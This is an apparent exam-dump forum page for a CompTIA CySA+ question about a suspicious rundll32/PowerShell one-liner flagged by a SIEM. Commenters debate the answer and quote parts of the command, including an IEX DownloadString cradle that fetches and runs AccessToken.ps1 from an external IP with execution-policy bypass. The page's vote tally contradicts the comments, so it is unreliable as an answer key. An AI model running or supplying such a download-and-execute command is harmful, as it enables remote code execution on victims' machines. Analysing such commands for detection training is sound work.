exam questions

Exam CS0-003 All Questions

View all questions & answers for the CS0-003 exam

Exam CS0-003 topic 1 question 264 discussion

Actual exam question from CompTIA's CS0-003
Question #: 264
Topic #: 1
[All CS0-003 Questions]

A SIEM alert is triggered based on execution of a suspicious one-liner on two workstations in the organization’s environment. An analyst views the details of these events below:



Which of the following statements best describes the intent of the attacker, based on this one-liner?

  • A. Attacker is escalating privileges via JavaScript.
  • B. Attacker is utilizing custom malware to download an additional script.
  • C. Attacker is executing PowerShell script “AccessToken.ps1”.
  • D. Attacker is attempting to install persistence mechanisms on the target machine.
Show Suggested Answer Hide Answer
Suggested Answer: C 🗳️

Comments

Chosen Answer:
This is a voting comment (?). It is better to Upvote an existing comment if you don't have anything to add.
Switch to a voting comment New
gomet2000
Highly Voted 8 months, 1 week ago
Selected Answer: C
The one-liner provided in the image executes the following steps: Rundll32.exe is used to run a JavaScript command. The JavaScript command creates an instance of ActiveXObject to run a PowerShell command. The PowerShell command (IEX (New-Object Net.WebClient).DownloadString('77.247.109.185/AccessToken.ps1')) is used to download and execute a script (AccessToken.ps1) from a remote server. Best Description of the Attack Intent: The intent of the attacker, based on this one-liner, is most accurately described by the following statement: C. Attacker is executing PowerShell script “AccessToken.ps1”
upvoted 10 times
...
iliecomptia
Most Recent 1 week, 4 days ago
Selected Answer: C
The attacker is not using custom malware for the download, rundll32 is legitimate windows tool. This is a Living off the land attack. C best describes this scenario.
upvoted 1 times
...
braveheart22
1 month, 2 weeks ago
Selected Answer: C
The best answer is: C. Attacker is executing PowerShell script “AccessToken.ps1”. Explanation: The given one-liner uses rundll32.exe to execute JavaScript through mshtml (Microsoft HTML Application). This script then creates an ActiveX object (WScript.Shell) to run a PowerShell command. The PowerShell command: Runs in hidden mode (-w h -nologo -noprofile) Bypasses execution policy (-ep bypass) Uses IEX (New-Object Net.WebClient).DownloadString('77.247.109.185/AccessToken.ps1') to download and execute the AccessToken.ps1 script from an external server Since the primary goal of the command is to download and execute AccessToken.ps1, option C is the most accurate choice.
upvoted 1 times
...
Popeyes_Chicken
3 months, 1 week ago
Selected Answer: B
The ps1 script is being fetched...This JavaScript payload is tailored for an attack "custom". Malware usually refers to any malicious software or script crafted for an attack. This is evidence of custom malware being used to download an additional script.
upvoted 1 times
...
kinny4000
6 months, 2 weeks ago
Selected Answer: C
There is no evidence of malware being used to download the script, it could be run from the browser, therefore C is more accurate.
upvoted 3 times
...
TurboMor
7 months, 3 weeks ago
Selected Answer: B
Answer should be B. The attacker isn't just executing a script that is stored locally, it's downloading it from a remote location.
upvoted 3 times
...
maggie22
8 months ago
Selected Answer: C
I would go with C
upvoted 2 times
...
Gabuu
8 months ago
Selected Answer: B
The one-liner script is utilizing JavaScript to execute a PowerShell command that downloads and runs a script from an external source, indicating the use of custom malware to download an additional script. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 156.
upvoted 4 times
...
Community vote distribution
A (35%)
C (25%)
B (20%)
Other
Most Voted
A voting comment increases the vote count for the chosen answer by one.

Upvoting a comment with a selected answer will also increase the vote count towards that answer by one. So if you see a comment that you already agree with, you can upvote it instead of posting a new comment.

SaveCancel
Loading ...
exam
Someone Bought Contributor Access for:
SY0-701
London, 1 minute ago